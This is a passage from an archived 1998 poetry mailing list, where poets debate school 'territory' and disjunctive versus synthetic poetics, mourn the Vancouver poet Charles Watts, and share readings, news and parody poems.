> *My own work may play as more "conservative" than much on this list (yes one of my poems was a Hollander selectee) but I'll freely admit I have not the courage of some of you in accepting the colors and wielding the weapons. To me, this territory war seems to me like the tiniest subset of larger cultural and economic dynamics, and I choose cowardice and selfishness in pretending that I can ignore categories in order to write with a greater sense of freedom, even if it be self-illusory -- instead of using up this energy in sandbagging the brittle dams the waves are toppling anyway.*

Hear hear. The poet wants free rein (or reign) but the territorialists, who are not necessarily or usually the originators in any school, are out in force. Why? Because marking territory, pissing on the snow you own, is a form of marketing.

So I'd disagree only about "cowardice and selfishness," unless we want to call Ted Berrigan, for example, cowardly and selfish for reading what he pleased. Poets are magpies--acquisitive and curious. But camp followers and plodders are always out on patrol, making the world safe for dullness.

Rachel Loden

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192. Matt Kirschenbaum
Re: "Poor Confused Kathy" responds
Wed 5 Aug 1998

> *And you're simply not going to convince me that past failures (and yes there have been failures) on the part of union leaders in the steel and auto industries (your examples) are responsible for building the boat academics find themselves in. I still think they need to get off their butts and fight for their rights like everyone else--and help to build equality for workers. And increasing numbers are doing just that.*

Kathy,

At least a few academics have started to get off of their butts, or are at least sitting propped up on one elbow. See _Workplace_, an electronic journal devoted to academic labor issues that's sponsored by the MLA Graduate Student Caucus:

http://www.workplace-gsc.com/

See too the Palinurus site, devoted to "teaching the humanities in a restructured world," which I know I've mentioned here before:

http://humanitas.ucsb.edu/liu/palinurus/

Having been to distance education conferences myself (and listened to the rhetoric and ogled the pie charts), I very much believe that there's no more vital an issue for academics of all ranks, not least because the assault on tenure, the increasing reliance on part-time and non-degreed labor, and so forth are all integral to some of the more influential distance ed. scenarios. Matt

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193. Safdie Joseph
Re: (the testimony begins)
Wed 5 Aug 1998

And the Independent Prosecutor then asked:

Wasn't it Rachel Loden who wrote "My Wicked, Wicked Ways"? Wasn't it Robert Creeley who first denigrated the word "about" in relation to poetry? (It happened traveling in lovely company, as I remember).

The hands that rocked the cradle, indeed!

I'm trying to remember the first wound that poetry inflicted, but "A Child's Garden of Verses" by Robert Stevenson seemed pretty innocuous at the time . . .

-----Original Message-----
From: Rachel Loden
To: [redacted]
Sent: 8/5/98 6:09 PM
Subject: Re: poetry in the age of medication (the testimony begins)

david bromige wrote:

> Just about any of the poetry that we call Maindrainins doest look to be
> written from any such wounds, but it is. It's is written in denial of those
> wounds, it is written to protect the molester, it is written by incest
> victims unable to acknowledge the fatal tinkering to which they were
> subject while too green or too conflicted to enjoy their outrage.

And one support group is gathered to speak the full bitterness of poetry abuse in the latest issue of the (uh oh) PSA Journal. Charles Bernstein, Robert Creeley, Marie Ponsot, Leslie Scalapino and others write about their "first loves" in poesy.

Bernstein: "I remember, as if it were another life, those nights that Khlebnikov was my babysitter. After giving me a hot plate of Campbell's Vegetarian Baked Beans with cut-up franks, and then tucking me into bed, he would perform 'Incantation by Laughter' . . . Although I also admired his 'supersaga' _Zangezi_, which he wrote while bouncing me on his knee (or so it has often seemed), I was definitely partial to his shorter _zaum_ poems . . ."

Creeley: "So what I remember finally is what I have to--because I can't ever forget. It's the eighth grade? Miss Stolte, blonde, slim, quite tall, quick almost ironic manner, desperate in a way I can now recognize, lonely, disdaining, speedy, begins to read. We have badgered her mercilessly until she yields. But she must enjoy her powers? She is reading a poem by Alfred Noyes, which I find wondrous, arousing, sensual beyond anything I can put words to . . . "

All join hands and let the healing begin,

Rachel Loden

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194. david bromige
wrtng in thage f mdia/2ndng Randolph Healy
Thu 6 Aug 1998

Absolutely (a word I seldom use), Randolph, and so elegantly put. Why it has to be stated so often is a puzzle. The rush to judgment of literary taste is as stupid, every bit, as Why wait for the Law let's string 'em up now. I should think everybody has had the experience of later coming to love a writing which they at first distrusted if not detested. (As of coming to love a person one at first detested). (And then, later again, of experiencing a further reversal).

Part of the problem is that one actually _can_ know better, not only than oneself at a previous stage, but than another person who is at that previous stage. That is, one now knows more concerning this activity. And then, it can bug the hell out of us to have to put up with an ass, braying. Then, one's caution with regard to one's own judgments looks uncalled-for. Let us imagine for a moment that Helen Vendler knows more about Post-WW2 British poetry than "we" do. How impatient she must be, with us!

Still, one would like to see the evidence, if not of her taste forming, then of her research--the reading she has done in the field. Where she bogged down with Allen Fisher. Where she found Wallace Stevens preferable to Jeremy Prynne. What her readerly approach has been, to Tom Raworth, Maggie O'Sullivan, Wendy Mulford.

Absent such, one has difficulty trusting that she has done her research (as much into oneself, such research, as into the field; as much, but not, more) even

in the fields where she _is_ known as critic and canon-maker. Maybe even there, she's a merely charismatic well-situated person with intimidating powers of persuasion, whose preferences chanced to fit into a social or political agenda among the well-connected. We are to blame, after all, for according more respect to those who teach at Harvard than those who teach at Highland Community College, or those who don't teach at all, if we accord such respect simply because Harvard is where they do teach, and this or that prestigious university press, where they do publish.

"The best lack all conviction, the worst are full of passionate intensity" --isnt that how Yeats phrases it? The passions of some persons' convictions have enslaved large portions of humanity.Some of whom, at some level, presumably wished to be enslaved : "Let Joe do it." We are bowled over by such single-mindedness, even where there isn't that much of _mind_ in it. We want to be told what to do, like, choose. Experts soothe. Therefore, ignore experts? But part of the difficulty, again, is, there _can_ be expertise. _We_ don't want know-nothings.

Hence the battlefields of criticism. And poetry wars. Throughout History, time and again, the mildest-mannered of women and men have had to take arms against a sea of passionate intensity, or be drowned. Where poetry is the prize, Randolph Healy's modesty and patience, with their glimpse of fine sarcasm, may be the keenest weapon of them all. Otherwise, breaking arms and legs will have to do. But the (fill in name of favorite enemy here) keep a-comin' . Wherever a favorite intelligence lodges in our midst, the stupidity which is its shadow, fastens upon it like loathsome flies.

And too, the times change, and we change. . . with them or against them. Blush for past passions! For they fail to recognize you.

David

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195. david bromige
poetry in the age of medication
Thu 6 Aug 1998

Thank you, Rachel, for a posting whose humor shows how to read my own posting : as T.R.Bell suggests to me, I speak "as-if." But in no way attempt to make fun of incest survivors, nor to cheapen their experience. More of this, perhaps, subsequently.

I was pleasantly surprised to learn from Rachel's post of the PSA Journal's gathering of threads from the 4 corners & ends of the earth, on this topic of "first loves" in poetry. The passage from Charles Bernstein I found particularly

engaging, and for those like myself who cannot get enough of the Master in this familiar, dis/respectful, jiving mode (he speaks of Khlebnikov as telling him bed-time poems), may I suggest my own work, "Six of One, Half a Dozen of the Other" where one reads of the author's encounter with Freud ("Facing my father he said, Not to worry. Then, patting my head, he added : later, he vill remember ziss differently") and D.H.Lawrence ("who should never have had to be a teacher. He wanted to be a poet, & he had too much sympathy with our condition to be of any use") and James Joyce ("who had been a famous cricketer in his day, though in later years he never left the attic where he'd sit day in day out going over old scorecards from his immense collection & reworking the games on paper to see why they hadn't come out differently").

Unknown, I expect, to anybody under 40, these pieces may be found in _The Falcon 13_ for Fall 1976, and then in _My Poetry_, The Figures Press, 1980. (This book was the first of a series of titles: _My Life_, _My Pleasures_ ,in Berkeley that year; I am delighted to find this original couching re-surfacing today with _My Symptoms_ and the upcoming Charles' _My Way_ .)

Back to the beginning: to me (as I suspect, to Charles) the truth is a made thing; Reality's existence is read in many ways, and one reality of being a poet is that of a love/hate relationship with poetry. "Poetry that opens my lips and shuts my mouth." Poetry that inspires emulation. That shuts my mouth with itself. Poetry that, like a father, can point out that one owes one's life to him--a life that is not sound pay-back coin if it can only repeat. These are realities of our experience; in ways they are analagous to the double-bind of incest. I hope this makes matters plainer.

David

↑ Index

196. Henry Gould
my territory
Thu 6 Aug 1998

Imagine a hydrahead: Ashberybloomvendler.

Imagine a nation of academic journals dedicated to securing tenure for professional poets who run contests and give awards and so on.

Imagine a poetry counter-culture of shallow roots, a-historical hokum and spiritual posturing.

Then think about Grand Fenwick.

There's more poetry in one saying of the Sermon on the Mount than in all the writings of Pound, Olson, Duncan, Creeley, Palmer, etc. put together. Am I

impinging on your territory? I will lift mine eyes unto the hills, whence cometh my strength.

- Henry Gould

↑ Index

197. **Maria Damon**

Re: poetry in the territories (response to Wheeler)

Thu 6 Aug 1998

At 7:42 PM -0700 8/5/98, Rachel Loden wrote:
>Susan Wheeler wrote (in part):
>
>> Does anyone on this list, in their heart of hearts, not WANT this if it
>> indeed means paradigms that are not arbitrarily territorial? . . .
>>
>> My own work may play as more "conservative" than much on this list (yes one
>> of my poems was a Hollander selectee) but I'll freely admit I have not the
>> courage of some of you in accepting the colors and wielding the weapons. To
>> me, this territory war seems to me like the tiniest subset of larger
>> cultural and economic dynamics, and I choose cowardice and selfishness in
>> pretending that I can ignore categories in order to write with a greater
>> sense of freedom, even if it be self-illusory -- instead of using up this
>> energy in sandbagging the brittle dams the waves are toppling anyway.
>
>Hear hear. The poet wants free rein (or reign) but the territorialists,
>who are not necessarily or usually the originators in any school, are
>out in force. Why? Because marking territory, pissing on the snow you
>own, is a form of marketing.
>
>So I'd disagree only about "cowardice and selfishness," unless we want
>to call Ted Berrigan, for example, cowardly and selfish for reading what
>he pleased. Poets are magpies--acquisitive and curious. But camp
>followers and plodders are always out on patrol, making the world safe
>for dullness.
>
>Rachel Loden

i agree; which is one reason, to refer to my earlier somewhat self-absorbed post, i find much of the "school"-mongering that passes for scholarship in

poetry circles to be not very stimulating; it doesn't open out into a larger view of the world...

↑ Index

198. **Michael Magee**
quotes o' the day
Thu 6 Aug 1998

Thought I'd interoduce a couple quotes from my morning's reading which seem relevant to our recent Henry-ignited discussions, both from Burke's essay, "The Rhetoric of Hitler's Battle," Burke's reading of Mein Kampf as symbolic action:

1) "There are other ways of burning books than on the pyre - and the favorite method of the hasty revieer is to deprive himself and his readers by inattention...If the reviewer but knocks off a few adverse attitudinizings and calls it a day, with a guarantee in advance that his article will have a favorable reception among the decent members of our population, he is contributing more to out gratification than to our enlightenment."

2) "It is part of the genius of the great leader [read Adolph] to make adversaries of different fields appear as always belonging to one category only, because to weak and unstable characters the knowledge that there are various enemies will lead only too easily to incipient doubts as to their own cause."

-m.

↑ Index

199. **henry**
Re: quotes o' the day
Thu 6 Aug 1998

On Thu, 6 Aug 1998 10:28:55 -0400 Michael Magee said:
>Thought I'd interoduce a couple quotes from my morning's reading which
>seem relevant to our recent Henry-ignited discussions, both from Burke's
>essay, "The Rhetoric of Hitler's Battle," Burke's reading of Mein Kampf as
>symbolic action:
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>1) "There are other ways of burning books than on the pyre - and the
>favorite method of the hasty revieer is to deprive himself and his readers
>by inattention...If the reviewer but knocks off a few adverse
>attitudinizings and calls it a day, with a guarantee in advance that his
>article will have a favorable reception among the decent members of our
>population, he is contributing more to out gratification than to our
>enlightenment."

>
>2) "It is part of the genius of the great leader [read Adolph] to make
>adversaries of different fields appear as always belonging to one category
>only, because to weak and unstable characters the knowledge that there are
>various enemies will lead only too easily to incipient doubts as to their
>own cause."
> >-m.

O what joy to find myself compared to Hitler! I was hoping for Reagan, though... maybe the next stormtrooper can try that one. Luckily these screens are pellet-proof. Comparing somebody to Hitler is a good way to marginalize your opponent - hope everybody will remember that as we wade further into the poetics swamp for today.

But seriously there, Mike - I don't think I've been tossing off negative attitudes to the converted, like some established reviewer putting down books. I have been negative, sarcastic, controversial about some things - mostly popular poetic styles that have held sway for about the same length of time as I've been writing myself (30 yrs). Yes, my resentment and ressentiment & so on is there, and that is a negative thing & a limitation. No, I don't have all the answers or think I do - I just like to be controversial & outrageous because it's fun & stimulates discussion. But maybe there's too much of me & of that, I admit. Secondly I don't think I've lumped enemies together etc. in the way Burke describes. So I don't see how that applies, if that's what you're trying to do. But if what I say scares you, makes you worried that maybe I've done irreparable damage to poetic reputations or careers, made it harder for you to enjoy poetry, well, just say so. Others have. I don't mean to roil up the clubhouse so much - everybody okay out there? Free spirits & all? Gaily traipsing through the fields of Zephyr or whatever? I'll shut up now, somebody can send in a positive review of something, cheer us all up. - Henry G.

↑ Index

200. Christopher W. Alexander
this insulating sleeve is detrimental
Thu 6 Aug 1998

---

the first thing is I shld apologize for posting blindly - as a few of you have noticed, I'm set "no mail" right now, due to the exigencies of moving, i.e., I'm soon to be leaving my job here and have a lot to get done before that time.

the next thing (two) is to let all of you in on how to reach myself and Linda Russo in the coming weeks - new address information etc. as follows:

19 Hodge Ave. #9, Buffalo NY 14222
and by telephone: [redacted]

anyone I've given this address to before today, please take note: I had been substituting "Street" for "Avenue".

my email address will cease to be the familiar and beloved
one you see before you, in favor of <[redacted]>.
mail from this address is being forwarded to me at work
until I leave this job (thursday of next week).

sorry to those of you who've rec'd no response to yr backchannels - I'm still here, I assure you, and I'll make my response asap. daniel bouchard, if yre still trying to reach me, now's yr chance!

this relates to poetics b/c "apologize" has its roots in Apollo.

c h r i s

..

Christopher W. Alexander etc. / nominative press collective

*new email: [redacted] snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
*snail-mail after 16 August: 19 Hodge St. #9 / Buffalo NY 14222 press/zine site:
http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

201. **david bromige**
gotta go
Thu 6 Aug 1998

---

have to step outside for a few days. sorry to be missing the debates.. david

↑ Index

202. **Michael Magee**
Re: quotes o' the day
Thu 6 Aug 1998

I should have anticipated Henry's equating Burke-on-Hitler to Magee-on-Burke (below) and said somehing more specific in my posting of quotes. For the record, I think there is a key difference between Hitler and Henry, as well as between causal critics of Hitler and Henry-as-critic: the difference lies in the fact that Henry has no "guarantee in advance" that he will get a "favorable reception" - indeed in most cases precisely the opposite. In fact, one of Henry's enduring roles on the list, to my mind, is to make sure that the list doesn't fall into a cycle of tacit self-gratification, which is why I'm generally happy to see

his name pop up in all its permutations on my message board, & happy to respond when I have something to say. Henry's saving strength is his awareness that he is in fact in a conversation, albeit a rather combative one. So, peace brother.

Now, that said, I would argue that Henry's rhetoric often functions in such a way that it "make(s) adversaries of different fields appear as always belonging to one category only," and that I am against such rhetorical strategies. Henry's motive, I would guess, couldn't be farther away from Hitler's: and in a sense it might be as "motive-less" as language can be, the result of a lack of knowledge regarding those "different fields" rather than a specific wish to lump those fields together for purposes extinguishing "the enemy." But language has a funny way of doing what it wants despite its originators consciousness or lack thereof and, as such, Henry's does indeed sometimes conjur up for me "the enemy of disjunctive poetics" which controls "The Academy" and "must be stopped." You see where I'm getting. -m.

> *O what joy to find myself compared to Hitler! I was hoping for Reagan, though... maybe the next stormtrooper can try that one. Luckily these screens are pellet-proof. Comparing somebody to Hitler is a good way to marginalize your opponent - hope everybody will remember that as we wade further into the poetics swamp for today.*
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> *But seriously there, Mike - I don't think I've been tossing off negative attitudes to the converted, like some established reviewer putting down books. I have been negative, sarcastic, controversial about some things - mostly popular poetic styles that have held sway for about the same length of time as I've been writing myself (30 yrs). Yes, my resentment and ressentiment & so on is there, and that is a negative thing & a limitation. No, I don't have all the answers or think I do - I just like to be controversial & outrageous because it's fun & stimulates discussion. But maybe there's too much of me & of that, I admit. Secondly I don't think I've lumped enemies together etc. in the way Burke describes. So I don't see how that applies, if that's what you're trying to do. But if what I say scares you, makes you worried that maybe I've done irreparable damage to poetic reputations or careers, made it harder for you to enjoy poetry, well, just say so. Others have. I don't mean to roil up the clubhouse so much - everybody okay out there? Free spirits & all? Gaily traipsing through the fields of Zephyr or whatever?*
> *I'll shut up now, somebody can send in a positive review of something, cheer us all up. - Henry G.*

↑ Index

203. **Michael Magee**
Re: quotes o' the day
Thu 6 Aug 1998

Whoops - "Magee-on-Burke" should read "Magee-on-Henry". -m.

According to Michael Magee:
>
> I should have anticipated Henry's equating Burke-on-Hitler to
> Magee-on-Burke (below) and said somehing more specific in my posting of
> quotes. For the record, I think there is a key difference between Hitler
> and Henry, as well as between causal critics of Hitler and
> Henry-as-critic: the difference lies in the fact that Henry has no
> "guarantee in advance" that he will get a "favorable reception" - indeed
> in most cases precisely the opposite. In fact, one of Henry's enduring
> roles on the list, to my mind, is to make sure that the list doesn't fall
> into a cycle of tacit self-gratification, which is why I'm generally
> happy to see his name pop up in all its permutations on my message board,
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> farther away from Hitler's: and in a sense it might be as "motive-less"
> as language can be, the result of a lack of knowledge regarding those
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> together for purposes extinguishing "the enemy." But language has a
> funny way of doing what it wants despite its originators consciousness or
> lack thereof and, as such, Henry's does indeed sometimes conjur up for me
> "the enemy of disjunctive poetics" which controls "The Academy" and "must
> be stopped." You see where I'm getting. -m.
>
>
> > O what joy to find myself compared to Hitler! I was hoping for Reagan,
> > though... maybe the next stormtrooper can try that one. Luckily these
> > screens are pellet-proof. Comparing somebody to Hitler is a good
> > way to marginalize your opponent - hope everybody will remember that
> > as we wade further into the poetics swamp for today.
> >
> > But seriously there, Mike - I don't think I've been tossing off

> > negative attitudes to the converted, like some established reviewer
> > putting down books. I have been negative, sarcastic, controversial
> > about some things - mostly popular poetic styles that have held sway
> > for about the same length of time as I've been writing myself (30 yrs).
> > Yes, my resentment and ressentiment & so on is there, and that is
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> > reputations or careers, made it harder for you to enjoy poetry,
> > well, just say so. Others have. I don't mean to roil up the
> > clubhouse so much - everybody okay out there? Free spirits & all?
> > Gaily traipsing through the fields of Zephyr or whatever?
> > I'll shut up now, somebody can send in a positive review of something,
> > cheer us all up. - Henry G.
> >
>

↑ Index

204. **Henry**
Re: quotes o' the day
Thu 6 Aug 1998

But Mike, people are always using categories. I didn't invent the "disjunctive poetics" label. People have rightly complained about the level of abstraction in these poetics list debates - rightly, rightly - the whole strategy of opposing Pound/Yeats on the grid synthesis/disjunction is probably the biggest abstraction proposed yet. But I don't think that warrants comparing this strategy to Hitler & suggesting I'm too unread to know or care about the differences & unique qualities of the writing out there. When I say I have a quibble with the zeitgeist informing a lot of American poetry the fact is I do, hard to believe as that may be; when I say I am bored & fed up with a lot of the poetry that seems to reflect that zeitgeist that is exactly how I feel. It's not just boredom - it's really a sense of exile. I think it is legitimate in the field of poetics to talk about general trends; and I don't think using categories or abstract terms is a specifically Hitlerian strategy. Maybe talking too much is, I grant you that. - Henry G.

↑ Index

205. Billy Little
Re: Charles Watts
Thu 6 Aug 1998

charles was a jewel a shiny brilliant mind
half exposed enclosed in this solid chuck of ore
he was happy a few short weeks back
dinner at bukowski's on commercial before Dorothy and George's reading,
happy afterwards at the Georgia Hotel where Gerry Gilbert took pictures,
Charles bemused behind Clint Burnham on the striped couch
charles knew but he let you make a fool of yourself anyway he wanted to
hear what you had to say he had a big heart and a good ear almost as
refined as blaser mild mannered and unassuming he talked the talk he read
the books and he made the connections, truly a servant of poetry, right to
the last few days he was correcting the galleys of the blaser conference
proceedings: the poetry monster that is vancouver lost an arm and a leg and
have a disconnected corpos calosum with the passing of charles watts, he
made things happen without seeking praise or adulation,
impeccable he dotted your teas and crossed your eyes
remained a student to the finish, kept learning stayed young encouraged
all, editor, publisher, scholar, friend,
ones like him don't grow on trees

billy little
4 song st.
nowhere, b.c. V0R1Z0

Yeah, I stole from
                the treasury
of human folly
I spent it all on you, baby...

don't mention it

Duncan McNaughton

↑ Index

206. rsillima
The real Charlie Watts
Thu 6 Aug 1998

The last time I corresponded with Charles Watts, a few months back, he told me t
hat he was "fine,"
and that his melanoma was a thing of the past. His own attention was turned

inst
ead to the ever-
delayed Ph.D. thesis and his excitement over Italy and all things Italian that a
trip last summer had
kindled. Other friends warned me otherwise about his health, so I knew what Pete
r's notice was
going to say even before I opened it, but it's hard news for us all.

Krishna and I got to know and love Charles when he insisted that we stay with hi
m for a few days of
sight-seeing after the 1985 Vancouver Poetry Festival. In addition to being a pe
rfect host and
fabulous guide, he was a gentle, brilliant, far-too modest, extraordinarily well
-read soul with the driest
sense of humor I've encountered. A rolled eye and the barest upturned smile ofte
n suggested sans
words precisely what he thought of this or that event or person.

It turned out that his life-long buddy Peter Magnani was (is) the brother of a w
oman with whom I'd
worked in the prison movement and I would encounter Charles and Peter at reading
s, particularly at
Canessa Park, when Charles came down to California for his annual visit with his
family. More than
once this led to dinner at Brandy Ho's or Hunan during which I got to pump him f
or the latest scoop
on the Vancouver scene. Charles introduced me to the work of several of the folk
s north of the
border whose writing I follow and his opinions caused me to rethink some first i
mpressions of other
writers.

Charles first moved to Canada as a war resister in the late 1960s. I stayed at h
ome and fought my
induction notice (for seven years!) until I finally "qualified" for CO status, w
hich was how I began
doing prison movement work in the first place. We often speculated on how

differ
ent our lives might
have been had either one of us taken the other's approach, or how different had the war in Indochina
simply not happened. Charles' move was clearly Canada's gain and one more piece
of evidence (not
that any's needed) of how war wastes a nation's resources.

Charles never published very much, but his devotion to (and understanding of) th
e poetry scene was
complete. Even at this distance, I'm convinced that he was indispensible to the worlds of poetry that
he touched, especially the scene in Vancouver, and I have no idea how we will ge
t along without him.
It will certainly be a different world.

I know that I've said and written this before, but it's worth repeating -- beyon
d the pure pleasures of
reading and writing, the greatest thing about poetry is how it permits you to me
et some wonderful,
even magical people all over the world. Charles was just such a person in my lif
e. We should treasure
and nurture each one.

Ron Silliman

↑ Index

207. **Susan Wheeler**
Re: quotes o' the day
Thu 6 Aug 1998

> I don't mean to roil up the
>clubhouse so much - everybody okay out there? Free spirits & all?
>Gaily traipsing through the fields of Zephyr or whatever?
>I'll shut up now, somebody can send in a positive review of something,
>cheer us all up. - Henry G.
>
Henry, your acumen alone cheers me up. Let alone generosity.

I'm forwarding this notice that just came my way:

KGB Poetry Readings
Fall 1998
Series Directed by Star Black & David Lehman
Monday, Sept 28: Bernadette Mayer & Ron Padgett
Monday, October 5: Ruth Stone & Rosanne Wasserman
Monday, October 12: John Hollander & Julia Kasdorf
Monday, October 19: Charles Bernstein & Carole Maso
Monday, October 26: Deborah Garrison & Philip Levine
Monday, November 2: Harry Mathews & Albert Mobilio
Monday, November 9: Vincent Katz & Claudia Rankine
Monday, November 16: Joan Larkin & Jaime Manrique
Monday, November 23: No Reading
Monday, November 30: Bob Hershon & Bill Zavatsky
Monday, December 7: Bruce Andrews & C. D. Wright

KGB is at 85 East 4th Street. All reading begin at 7:30. Free! They're as free as freedom.

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

208. **Mark DuCharme**
Re: instead of a pineapple
Thu 6 Aug 1998

Thanks, Rachel. As a matter of fact I already have that book.

-Mark D

>Bill Luoma wrote:
>
>> ><<But I don't want a pineapple.>>
>> >
>> >ok Mark D., what do you want?
>
>One good thing to want (and I wanted it more than a pineapple) is
Bill's
>new book _Works & Days_ (Hard Press/The Figures), a sort of cracked
>comic memoir.
>
>"It's a big world out there, and thanks to perception management it
>appears to be getting smaller."
>

>Rachel
>

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

209. **trbell**

Asif NOT related to recent posts here

Fri 7 Aug 1998

As if there were water we forge on
forge on.

<P></P>
<P ALIGN="CENTER"><I><FONT SIZE="+2">The Metaphor of Play</FONT></I></P>
<P ALIGN="CENTER"></P>
<P ALIGN="LEFT">"The proto-conversation between the 2-month-old baby
and </P>
<P ALIGN="LEFT">the mother is between I and the other. There is no self </P>
<P ALIGN="LEFT">in it. A third element needs to be found for self to </P>
<P ALIGN="LEFT">evolve. This element is the </P>
<P ALIGN="LEFT">world-to-be-manipulated." Russell Meares.</P>
<P ALIGN="LEFT"></P>
<P ALIGN="LEFT"><B>Toy</B></P>
<P ALIGN="LEFT"><B>Don't toy with me.</B></P>
<P ALIGN="LEFT"><B></B></P>
<P ALIGN="LEFT"><B>He's got the whole world in his hand, the whole world </B></P>
<P ALIGN="LEFT"><B>in her hand.</B></P>
<P ALIGN="LEFT"><B></B></P>
<P ALIGN="LEFT"><B><FONT FACE="Courier">The construction of the poem is the
experience of a </FONT></B></P>
<P ALIGN="LEFT"><B><FONT FACE="Courier">poem between me and I</FONT></B></P>

As if we had the answer
we ask.

↑ Index

210. Michael Magee
marginalized poets? - not so fast!
Fri 7 Aug 1998

If you'll all thumb through to page 174 of the latest issue of Glamour Magazine you'll be welcomed by a photo of none other than Lee Ann Brown, Lisa Jarnot, and Eleni Sikelianos, under the heading "Women are Making Poetry Hot Again," w/ commentary. "Who are the new female poets?" the writer asks: Elizabeth Willis, Jena Osman, Lee Ann, Eleni, Lisa, Juliana Spahr, Hoa Nguyen, Deborah Garrison. You go girls! I for one am thrilled that Glamour is giving such fine poets their props (no mention, unfortunately, of the fact that two of them appear in the inaugural issue of COMBO). Thanks to my wife Susanna for discovering this while thumbing through Glamour at the supermarket. -m.

↑ Index

211. Robert Archambeau
Germ (s) (ans) (any) (inal)
Fri 7 Aug 1998

So how do I get my hands on a copy of Germ? Backchannel info appreciated.

Bob Archambeau

↑ Index

212. Michael Magee
Re: marginalized poets? - not so fast!
Fri 7 Aug 1998

The article was written by Dawn Michelle Baude. A big fat YAAAY to her as well. -m.

According to Maria Damon:
>
> At 7:50 AM -0400 8/7/98, Michael Magee wrote:
> >If you'll all thumb through to page 174 of the latest issue of Glamour
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> >through Glamour at the supermarket. -m.
>
> a big fat YAAAY a la kellogg jr to these groovy chicks. who wrote the
> article i wonder?
>

↑ Index

213. Maria Damon
Re: marginalized poets? - not so fast!
Fri 7 Aug 1998

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>through Glamour at the supermarket. -m.

a big fat YAAAY a la kellogg jr to these groovy chicks. who wrote the article i wonder?

↑ Index

214. Henry oh-oh
1 more dizjunk peep
Fri 7 Aug 1998

Will try to salvage something from my side of the disjunct divide for the fit though few, and will try to be brief.

Randolph Healy reminded us that "disjunctive" (new word, anybody?) poets "put things together". Good point. Obviously 20th cent poetry's glories include the leaps, the freedom, the documentary openness, the new forms, the new contents, that Pound's big "grab bag" opened up.

So many forces & influences have pushed in a centrifugal direction. Open up any poem almost by bestboy Mandelstam & you find disjunction like a natch'l born schizophrenic. Music, science, technology, speed, relativity, knowledge-boom... poetry HAD to spread the net in order to be real. (when it wasn't ahead of the times).

People think (maybe rightly considering my snarling) I have an agenda, to turn back the clock, to denigrate language poetry & experiment & difference. These are or would be reactionary tactics, true enough, if that were all. But that is not exactly the case. All I ask is that some of you consider the possibility that I am suggesting something positive rather than simply tearing down.

In a nutshell I am suggesting that there is always a repressed "other side" of any dominant cultural direction. One other side of our current zeitgeist of difference, otherness, disjunction, fragmentation would be world views that recognize continuity (aesthetic, ontological), synthesis, unity-of- being, wholeness. The mistake is to consider these representative of any particular cultural or political establishment & reject them out of hand. In my view the most radical challenge to a world order still enslaved to political violence and organized war (thinking of Ron Silliman's interesting note on his & C. Watts' C.O. experience during Vietnam war) comes from religious belief: Franciscan, Buddhist, Quaker, anarchist... While most religious philosophies long ago confronted the paradoxes of otherness and the unknown, unlike some contemporary ideologies they do not simply deny the existence of unity or synthesis of being.

Enough about philosophy. Let me disjunct over to the recent issue of GERM. I haven't read all of it yet, but I think the issue both displays some of the tried & true techniques I criticized before (fragmentary syntax, almost total obscurity of meaning(s)), and also quite a bit of artistry. Beth Anderson's series of poems stands out as different from the rest I read anyway. The most obvious difference is syntactical continuity and stylistic consistency. There are 4-5 poems which seem sort of Ashbery- Mallarme, in a consistent extremely neutral tone. Late 20th-cent symbolism: music of language, a serious, almost somber modern music. As in Ashbery, it's a beautiful syntax but sort of with the meaning hollowed out, at least the obvious meaning-packages. The music comes to the fore - but there is this distinctive, complex continuity & consistency of style. Devin Johnston's sequence was interesting too: like a Susan Howe protege, steeped in original 17-18th century texts, but also in Eliot and Crane, there's clearly a synthetic motivation at work & an awareness of rhythm & harmony.

I am not singling these out as "approved" texts from the journal - I am trying to point out elements of synthetic as opposed to disjunctive composition at work. I am trying to suggest that syntax CAN be an integral part of structural rhythm, and that structural rhythm CAN be put to a coherent, synthetic authorial purpose. And to me the original contrast of Yeats/Pound is apropos here.

I am talking about the lexical tools of poetry & suggesting that it is not enough to tear apart & throw into a grab bag anymore, no matter what hoary postmodernist truisms or ideals of class/identity politics or self-interested company histories of alternative art are brought to bear. I am suggesting looking for other

means at work, other motivations. Every time you break apart a sentence, consider the cost. It's one more broken string on your bow. Is it worth it? Can you still shoot your arrows?

- Henry Gould

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215. Rachel Loden
42 Little Ways to Happier Love
Fri 7 Aug 1998

Let the torrid source text work for you

— creating a structural glow that comes

from multiple orgasm, not layers of blush and

dissonance. From letting your morphemes shine

to flaunting untamed,

just-slipped-out-of-the-swimming-pool

syntax, this is the season to let go and fall

in love — with your own sultry lacunae

--Rachel Loden

Michael Magee wrote:
>
> If you'll all thumb through to page 174 of the latest issue of Glamour
> Magazine you'll be welcomed by a photo of none other than Lee Ann Brown,
> Lisa Jarnot, and Eleni Sikelianos, under the heading "Women are Making
> Poetry Hot Again," w/ commentary. "Who are the new female poets?" the
> writer asks: Elizabeth Willis, Jena Osman, Lee Ann, Eleni, Lisa, Juliana
> Spahr, Hoa Nguyen, Deborah Garrison. You go girls! I for one am thrilled
> that Glamour is giving such fine poets their props (no mention,
> unfortunately, of the fact that two of them appear in the inaugural issue
> of COMBO). Thanks to my wife Susanna for discovering this while thumbing
> through Glamour at the supermarket. -m.

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216. Michael Magee
Re: 1 more dizjunk peep
Fri 7 Aug 1998

> *I am talking about the lexical tools of poetry & suggesting that it is*

> *not enough to tear apart & throw into a grab bag anymore, no matter what hoary postmodernist truisms or ideals of class/identity politics or self-interested company histories of alternative art are brought to bear. I am suggesting looking for other means at work, other motivations. Every time you break apart a sentence, consider the cost. It's one more broken string on your bow. Is it worth it? Can you still shoot your arrows?*
>
> *- Henry Gould*

I feel bad that I just can't put this down but I need, again, to make an exception: I think you're confusing "breaking apart a sentence" with writing a sentence which some people will consider broken. These are two totally different things. the first is based on an assumption that there is such a thing as a sentence and that this thing can be accurately recognized and measured according to certain criteria. The second attempts to create the definition of a sentence in the act of fashioning. So, no, I never, ever break sentences; I simply write a different kind of sentence (Monk's definition of his style: "How to use notes differently. That's it. Just how to use notes differently"). Vernacular traditions have always recognized this possibility, and the danger of putting a priori limits on communicative agency. The old joke, where the liguist says to his class, "There is no grammarical formation in which two positives equal a negative," and someone yells from the back of the room, "Yeah, right." I imagine that must have given those classmates a sense of breathing room to do their own thing. In my own work I see lots of possibilities for, if not "wholeness" exactly, then shared signs, or as Robert Duncan put it, "fictive certainties" - its just that these have less to do with the sanctioned rules of sentence construction than they do w/ what I hear around me - or dream up - in the shape of new, liminal, structures of "getting across," ones which I think better fit my sense of the real, or better fit 